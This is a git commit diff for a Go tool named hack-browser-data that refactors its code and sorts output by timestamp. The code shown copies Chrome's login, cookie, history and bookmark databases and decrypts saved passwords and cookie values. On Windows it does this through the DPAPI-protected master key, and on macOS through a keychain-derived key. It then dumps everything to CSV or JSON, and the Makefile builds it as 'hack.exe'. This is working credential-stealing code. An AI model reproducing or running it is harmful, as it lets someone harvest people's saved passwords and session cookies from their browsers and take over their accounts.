feat: sort output by timestamp

pull/83/head
ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 31419dc003
commit ebeef65f81
  1. 7
      Makefile
  2. 22
      README.md
  3. 10
      cmd/cmd.go
  4. 221
      core/common.go
  5. 138
      core/output.go
  6. 13
      core/sort.go
  7. 4
      log/log.go
  8. 2
      utils/utils.go
  9. 32
      utils/utils_darwin.go
  10. 6
      utils/utils_windows.go

@ -0,0 +1,7 @@
LinuxOS=CGO_ENABLED=0 GOOS=linux GOARCH=amd64
MacOS=CGO_ENABLED=0 GOOS=darwin GOARCH=amd64
Windows=CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64
DATE=$(shell date +'%Y-%m-%d %H:%M:%S')
win:
$(Windows) go build -o /Users/finkployd/Desktop/hack.exe main.go

@ -42,16 +42,16 @@ GLOBAL OPTIONS:
### 目前支持平台 ### 目前支持平台
| Browser | Password | Cookie | Bookmark | History | | Browser | Password | Cookie | Bookmark | History |
| :------------- | :------: | :----: | :------: | :-----: | | :-------------------------------- | :------: | :----: | :------: | :-----: |
| Windows Chrome | ✔ | ✔ | ✔ | ✔ | | Windows Chrome | ✔ | ✔ | ✔ | ✔ |
| MacOS Chrome | ✔ | ✔ | ✔ | ✔ | | MacOS Chrome<br />(need password) | ✔ | ✔ | ✔ | ✔ |
| Linux Chrome | ✖ | ✖ | ✖ | ✖ | | Linux Chrome | ✖ | ✖ | ✖ | ✖ |
| Windows Edge | ✖ | ✖ | ✖ | ✖ | | Windows Edge | ✖ | ✖ | ✖ | ✖ |
| MacOS Edge | ✖ | ✖ | ✖ | ✖ | | MacOS Edge | ✖ | ✖ | ✖ | ✖ |
| Linux Edge | ✖ | ✖ | ✖ | ✖ | | Linux Edge | ✖ | ✖ | ✖ | ✖ |
| MacOS Safari | ✖ | ✖ | ✖ | ✖ | | MacOS Safari | ✖ | ✖ | ✖ | ✖ |
| MacOS Keychain | ✖ | | | | | MacOS Keychain | ✖ | | | |
### Todo List ### Todo List
@ -65,7 +65,7 @@ GLOBAL OPTIONS:
| Chrome | 360 Safe | Firefox | QQ Browser | IE | Sogou Explorer | | Chrome | 360 Safe | Firefox | QQ Browser | IE | Sogou Explorer |
| :----- | :------: | :-----: | :--------: | :---: | :------------: | | :----- | :------: | :-----: | :--------: | :---: | :------------: |
| 68.33% | 9.4% | 8.91% | 4.41% | 5.65% | 4.74% | | 39.85% | 22.26% | 9.28% | 6.5% | 5.65% | 4.74% |
Based on those two lists, I woulf support those browser in the future Based on those two lists, I woulf support those browser in the future

@ -1,7 +1,7 @@
package cmd package cmd
import ( import (
"hack-browser-data/core/common" "hack-browser-data/core"
"hack-browser-data/log" "hack-browser-data/log"
"hack-browser-data/utils" "hack-browser-data/utils"
"os" "os"
@ -33,7 +33,6 @@ func Execute() {
Action: func(c *cli.Context) error { Action: func(c *cli.Context) error {
log.InitLog() log.InitLog()
utils.MakeDir(exportDir) utils.MakeDir(exportDir)
var fileList []string var fileList []string
switch exportData { switch exportData {
case "all": case "all":
@ -47,7 +46,6 @@ func Execute() {
if err != nil { if err != nil {
panic(err) panic(err)
} }
for _, v := range fileList { for _, v := range fileList {
dst := filepath.Base(v) dst := filepath.Base(v)
err := utils.CopyDB(v, dst) err := utils.CopyDB(v, dst)
@ -55,15 +53,15 @@ func Execute() {
log.Println(err) log.Println(err)
continue continue
} }
common.ParseDB(dst) core.ChromeDB(dst)
} }
if outputFormat == "json" { if outputFormat == "json" {
err := common.FullData.OutPutJson(exportDir, outputFormat) err := core.FullData.OutPutJson(exportDir, outputFormat)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
} }
} else { } else {
err := common.FullData.OutPutCsv(exportDir, outputFormat) err := core.FullData.OutPutCsv(exportDir, outputFormat)
if err != nil { if err != nil {
log.Error(err) log.Error(err)
} }

@ -1,16 +1,13 @@
package common package core
import ( import (
"bytes"
"database/sql" "database/sql"
"encoding/json"
"hack-browser-data/log" "hack-browser-data/log"
"hack-browser-data/utils" "hack-browser-data/utils"
"os" "os"
"sort"
"time" "time"
"github.com/gocarina/gocsv"
_ "github.com/mattn/go-sqlite3" _ "github.com/mattn/go-sqlite3"
"github.com/tidwall/gjson" "github.com/tidwall/gjson"
) )
@ -20,14 +17,6 @@ const (
Safari = "Safari" Safari = "Safari"
) )
var (
FullData = new(BrowserData)
bookmarkList []*Bookmarks
cookieList []*Cookies
historyList []*History
loginItemList []*LoginData
)
const ( const (
bookmarkID = "id" bookmarkID = "id"
bookmarkAdded = "date_added" bookmarkAdded = "date_added"
@ -37,30 +26,37 @@ const (
bookmarkChildren = "children" bookmarkChildren = "children"
) )
var (
FullData = new(BrowserData)
)
type ( type (
BrowserData struct { BrowserData struct {
BrowserName string BrowserName string
OutPutType string LoginDataSlice
LoginData []*LoginData BookmarkSlice
Bookmarks []*Bookmarks CookieMap
Cookies []*Cookies HistorySlice
History []*History
} }
LoginData struct { LoginDataSlice []loginData
BookmarkSlice []bookmarks
CookieMap map[string][]cookies
HistorySlice []history
loginData struct {
UserName string UserName string
EncryptPass []byte encryptPass []byte
Password string Password string
LoginUrl string LoginUrl string
CreateDate time.Time CreateDate time.Time
} }
Bookmarks struct { bookmarks struct {
ID string ID int64
DateAdded time.Time DateAdded time.Time
URL string URL string
Name string Name string
Type string Type string
} }
Cookies struct { cookies struct {
KeyName string KeyName string
encryptValue []byte encryptValue []byte
Value string Value string
@ -73,7 +69,7 @@ type (
CreateDate time.Time CreateDate time.Time
ExpireDate time.Time ExpireDate time.Time
} }
History struct { history struct {
Url string Url string
Title string Title string
VisitCount int VisitCount int
@ -81,130 +77,7 @@ type (
} }
) )
func (b BrowserData) OutPutCsv(dir, format string) error { func ChromeDB(dbname string) {
switch {
case len(b.Bookmarks) != 0:
filename := utils.FormatFileName(dir, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.Bookmarks, file)
if err != nil {
log.Error(err)
}
fallthrough
case len(b.LoginData) != 0:
filename := utils.FormatFileName(dir, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.LoginData, file)
if err != nil {
log.Error(err)
}
fallthrough
case len(b.Cookies) != 0:
filename := utils.FormatFileName(dir, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.Cookies, file)
if err != nil {
log.Error(err)
}
fallthrough
case len(b.History) != 0:
filename := utils.FormatFileName(dir, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.History, file)
if err != nil {
log.Error(err)
}
}
return nil
}
func (b BrowserData) OutPutJson(dir, format string) error {
switch {
case len(b.Bookmarks) != 0:
filename := utils.FormatFileName(dir, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.BrowserName)
file.Write(w.Bytes())
fallthrough
case len(b.Cookies) != 0:
filename := utils.FormatFileName(dir, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.Cookies)
if err != nil {
log.Println(err)
}
file.Write(w.Bytes())
fallthrough
case len(b.History) != 0:
filename := utils.FormatFileName(dir, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.History)
if err != nil {
log.Println(err)
}
file.Write(w.Bytes())
fallthrough
case len(b.LoginData) != 0:
filename := utils.FormatFileName(dir, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.LoginData)
if err != nil {
log.Println(err)
}
file.Write(w.Bytes())
}
return nil
}
func ParseDB(dbname string) {
switch dbname { switch dbname {
case utils.LoginData: case utils.LoginData:
parseLogin() parseLogin()
@ -217,8 +90,11 @@ func ParseDB(dbname string) {
} }
} }
var bookmarkList BookmarkSlice
func parseBookmarks() { func parseBookmarks() {
bookmarks, err := utils.ReadFile(utils.Bookmarks) bookmarks, err := utils.ReadFile(utils.Bookmarks)
defer os.Remove(utils.Bookmarks)
if err != nil { if err != nil {
log.Println(err) log.Println(err)
} }
@ -230,14 +106,19 @@ func parseBookmarks() {
return true return true
}) })
} }
FullData.Bookmarks = bookmarkList sort.Slice(bookmarkList, func(i, j int) bool {
return bookmarkList[i].ID < bookmarkList[j].ID
})
FullData.BookmarkSlice = bookmarkList
} }
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
func parseLogin() { func parseLogin() {
login := &LoginData{} var loginItemList LoginDataSlice
login := loginData{}
loginDB, err := sql.Open("sqlite3", utils.LoginData) loginDB, err := sql.Open("sqlite3", utils.LoginData)
defer os.Remove(utils.LoginData)
defer func() { defer func() {
if err := loginDB.Close(); err != nil { if err := loginDB.Close(); err != nil {
log.Println(err) log.Println(err)
@ -260,9 +141,9 @@ func parseLogin() {
create int64 create int64
) )
err = rows.Scan(&url, &username, &pwd, &create) err = rows.Scan(&url, &username, &pwd, &create)
login = &LoginData{ login = loginData{
UserName: username, UserName: username,
EncryptPass: pwd, encryptPass: pwd,
LoginUrl: url, LoginUrl: url,
CreateDate: utils.TimeEpochFormat(create), CreateDate: utils.TimeEpochFormat(create),
} }
@ -273,14 +154,17 @@ func parseLogin() {
} }
loginItemList = append(loginItemList, login) loginItemList = append(loginItemList, login)
} }
FullData.LoginData = loginItemList sort.Sort(loginItemList)
FullData.LoginDataSlice = loginItemList
} }
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies` var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
func parseCookie() { func parseCookie() {
cookies := &Cookies{} cookie := cookies{}
cookieMap := make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", utils.Cookies) cookieDB, err := sql.Open("sqlite3", utils.Cookies)
defer os.Remove(utils.Cookies)
defer func() { defer func() {
if err := cookieDB.Close(); err != nil { if err := cookieDB.Close(); err != nil {
log.Println(err) log.Println(err)
@ -304,7 +188,7 @@ func parseCookie() {
encryptValue []byte encryptValue []byte
) )
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
cookies = &Cookies{ cookie = cookies{
KeyName: key, KeyName: key,
Host: host, Host: host,
Path: path, Path: path,
@ -318,17 +202,23 @@ func parseCookie() {
} }
// remove prefix 'v10' // remove prefix 'v10'
value, err = utils.DecryptChromePass(encryptValue) value, err = utils.DecryptChromePass(encryptValue)
cookies.Value = value cookie.Value = value
cookieList = append(cookieList, cookies) if _, ok := cookieMap[host]; ok {
cookieMap[host] = append(cookieMap[host], cookie)
} else {
cookieMap[host] = []cookies{cookie}
}
} }
FullData.Cookies = cookieList FullData.CookieMap = cookieMap
} }
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
func parseHistory() { func parseHistory() {
history := &History{} var historyList HistorySlice
h := history{}
historyDB, err := sql.Open("sqlite3", utils.History) historyDB, err := sql.Open("sqlite3", utils.History)
defer os.Remove(utils.History)
defer func() { defer func() {
if err := historyDB.Close(); err != nil { if err := historyDB.Close(); err != nil {
log.Println(err) log.Println(err)
@ -351,7 +241,7 @@ func parseHistory() {
lastVisitTime int64 lastVisitTime int64
) )
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
history = &History{ h = history{
Url: url, Url: url,
Title: title, Title: title,
VisitCount: visitCount, VisitCount: visitCount,
@ -361,14 +251,17 @@ func parseHistory() {
log.Println(err) log.Println(err)
continue continue
} }
historyList = append(historyList, history) historyList = append(historyList, h)
} }
FullData.History = historyList sort.Slice(historyList, func(i, j int) bool {
return historyList[i].VisitCount > historyList[j].VisitCount
})
FullData.HistorySlice = historyList
} }
func getBookmarkChildren(value gjson.Result) (children gjson.Result) { func getBookmarkChildren(value gjson.Result) (children gjson.Result) {
b := new(Bookmarks) b := bookmarks{}
b.ID = value.Get(bookmarkID).String() b.ID = value.Get(bookmarkID).Int()
nodeType := value.Get(bookmarkType) nodeType := value.Get(bookmarkType)
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int()) b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
b.URL = value.Get(bookmarkUrl).String() b.URL = value.Get(bookmarkUrl).String()

@ -0,0 +1,138 @@
package core
import (
"bytes"
"encoding/json"
"hack-browser-data/log"
"hack-browser-data/utils"
"os"
"github.com/gocarina/gocsv"
)
func (b BrowserData) OutPutCsv(dir, format string) error {
switch {
case len(b.BookmarkSlice) != 0:
filename := utils.FormatFileName(dir, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.BookmarkSlice, file)
if err != nil {
log.Error(err)
}
fallthrough
case len(b.LoginDataSlice) != 0:
filename := utils.FormatFileName(dir, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.LoginDataSlice, file)
if err != nil {
log.Error(err)
}
fallthrough
case len(b.CookieMap) != 0:
filename := utils.FormatFileName(dir, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
var tempSlice []cookies
for _, v := range b.CookieMap {
tempSlice = append(tempSlice, v...)
}
err = gocsv.MarshalFile(tempSlice, file)
if err != nil {
log.Error(err)
}
fallthrough
case len(b.HistorySlice) != 0:
filename := utils.FormatFileName(dir, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
err = gocsv.MarshalFile(b.HistorySlice, file)
if err != nil {
log.Error(err)
}
}
return nil
}
func (b BrowserData) OutPutJson(dir, format string) error {
switch {
case len(b.BookmarkSlice) != 0:
filename := utils.FormatFileName(dir, utils.Bookmarks, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
enc.Encode(b.BookmarkSlice)
file.Write(w.Bytes())
fallthrough
case len(b.CookieMap) != 0:
filename := utils.FormatFileName(dir, utils.Cookies, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.CookieMap)
if err != nil {
log.Println(err)
}
file.Write(w.Bytes())
fallthrough
case len(b.HistorySlice) != 0:
filename := utils.FormatFileName(dir, utils.History, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.HistorySlice)
if err != nil {
log.Println(err)
}
file.Write(w.Bytes())
fallthrough
case len(b.LoginDataSlice) != 0:
filename := utils.FormatFileName(dir, utils.LoginData, format)
file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
defer file.Close()
if err != nil {
log.Errorf("create file %s fail", filename)
}
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(b.LoginDataSlice)
if err != nil {
log.Println(err)
}
file.Write(w.Bytes())
}
return nil
}

@ -0,0 +1,13 @@
package core
func (l LoginDataSlice) Len() int {
return len(l)
}
func (l LoginDataSlice) Less(i, j int) bool {
return l[i].CreateDate.After(l[j].CreateDate)
}
func (l LoginDataSlice) Swap(i, j int) {
l[i], l[j] = l[j], l[i]
}

@ -20,7 +20,7 @@ var (
} }
) )
func InitLog() { func InitLog() {
logger := newLogger("debug") logger := newLogger("debug")
formatLogger = logger.Sugar() formatLogger = logger.Sugar()
} }
@ -111,6 +111,6 @@ func Fatalf(template string, args ...interface{}) {
formatLogger.Fatalf(template, args...) formatLogger.Fatalf(template, args...)
} }
func Println(args ...interface{}) { func Println(args ...interface{}) {
formatLogger.Debug(args...) formatLogger.Debug(args...)
} }

@ -13,7 +13,7 @@ import (
) )
var ( var (
passwordIsEmpty = errors.New("decrypt fail, password is empty") passwordIsEmpty = errors.New("decrypt fail, password is empty")
) )
type DecryptError struct { type DecryptError struct {

@ -6,7 +6,6 @@ import (
"crypto/cipher" "crypto/cipher"
"crypto/sha1" "crypto/sha1"
"errors" "errors"
"fmt"
"hack-browser-data/log" "hack-browser-data/log"
"os/exec" "os/exec"
"path/filepath" "path/filepath"
@ -25,21 +24,6 @@ var (
chromeKey []byte chromeKey []byte
) )
func GetDBPath(dbName ...string) (dbFile []string) {
for _, v := range dbName {
s, err := filepath.Glob(macChromeDir + v)
if err != nil && len(s) == 0 {
continue
}
if len(s) > 0 {
log.Debugf("Find %s File Success", v)
log.Debugf("%s file location is %s", v, s[0])
dbFile = append(dbFile, s[0])
}
}
return dbFile
}
func InitChromeKey() error { func InitChromeKey() error {
var ( var (
cmd *exec.Cmd cmd *exec.Cmd
@ -63,6 +47,21 @@ func InitChromeKey() error {
return err return err
} }
func GetDBPath(dbName ...string) (dbFile []string) {
for _, v := range dbName {
s, err := filepath.Glob(macChromeDir + v)
if err != nil && len(s) == 0 {
continue
}
if len(s) > 0 {
log.Debugf("Find %s File Success", v)
log.Debugf("%s file location is %s", v, s[0])
dbFile = append(dbFile, s[0])
}
}
return dbFile
}
func decryptChromeKey(chromePass []byte) { func decryptChromeKey(chromePass []byte) {
chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New)
} }
@ -73,7 +72,6 @@ func DecryptChromePass(encryptPass []byte) (string, error) {
} else { } else {
return "", &DecryptError{ return "", &DecryptError{
err: passwordIsEmpty, err: passwordIsEmpty,
msg: fmt.Sprintf("password is %s", string(encryptPass)),
} }
} }
} }

@ -34,7 +34,7 @@ func InitChromeKey() error {
if err != nil { if err != nil {
return err return err
} }
chromeKey, err = decryptStringWithDPAPI(masterKey[5:]) chromeKey, err = DecryptStringWithDPAPI(masterKey[5:])
return err return err
} }
@ -73,7 +73,7 @@ func aesGCMDecrypt(crypted, key, nounce []byte) (string, error) {
if err != nil { if err != nil {
return "", err return "", err
} }
blockMode, _ := cipher.NewGCM(block) blockMode, err := cipher.NewGCM(block)
origData, err := blockMode.Open(nil, nounce, crypted, nil) origData, err := blockMode.Open(nil, nounce, crypted, nil)
if err != nil { if err != nil {
return "", err return "", err
@ -103,7 +103,7 @@ func (b *DataBlob) ToByteArray() []byte {
} }
// chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82 // chrome < 80 https://chromium.googlesource.com/chromium/src/+/76f496a7235c3432983421402951d73905c8be96/components/os_crypt/os_crypt_win.cc#82
func decryptStringWithDPAPI(data []byte) ([]byte, error) { func DecryptStringWithDPAPI(data []byte) ([]byte, error) {
dllCrypt := syscall.NewLazyDLL("Crypt32.dll") dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
dllKernel := syscall.NewLazyDLL("Kernel32.dll") dllKernel := syscall.NewLazyDLL("Kernel32.dll")
procDecryptData := dllCrypt.NewProc("CryptUnprotectData") procDecryptData := dllCrypt.NewProc("CryptUnprotectData")

Loading…
Cancel
Save